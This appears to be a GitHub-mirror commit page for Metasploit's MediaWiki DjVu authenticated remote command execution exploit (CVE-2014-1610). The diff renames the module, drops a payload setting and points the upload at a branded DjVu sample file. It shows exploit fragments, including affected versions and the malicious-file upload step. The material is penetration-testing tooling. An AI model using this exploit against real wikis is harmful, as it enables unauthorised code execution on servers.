github/metasploit-framework
1
Fork 0
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00
Code Releases Activity

Use msf branded djvu

Browse Source
This commit is contained in:
Meatballs 2014-02-01 00:37:28 +00:00
parent 9f35407a0c
commit 486a9d5e19
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
3 changed files with 3 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
data/exploits/cve-2014-1610/metasploit.djvu Normal file
View File

Binary file not shown.

1
data/exploits/cve-2014-1610/readme.md Normal file
View File

@ -0,0 +1 @@
Any DjVu file can be used this is just a snazzy Metasploit one

8
modules/exploits/multi/http/mediawiki_djvu.rb
View File

@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'MediaWiki DjVu Authenticated Remote Code Execution',
'Name' => 'MediaWiki DjVu Authenticated Remote Command Execution',
'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu file upload support is enabled, allows remote authenticated
@ -37,10 +37,6 @@ class Metasploit3 < Msf::Exploit::Remote
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP, # Could do ARCH_CMD
'Payload' =>
{
'BadChars' => "", # http://www.mediawiki.org/wiki/Help:Formatting
},
'Targets' =>
[
[ 'Automatic', { } ],
@ -173,7 +169,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload_mime = Rex::MIME::Message.new
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "Alice_in_Wonderland.djvu"))
djvu_file = ::File.read(::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1610", "metasploit.djvu"))
file_name = "#{rand_text_alpha(4)}.djvu"
upload_mime.add_part(djvu_file, "application/octet-stream", nil, "form-data; name=\"wpUploadFile\"; filename=\"#{file_name}\"")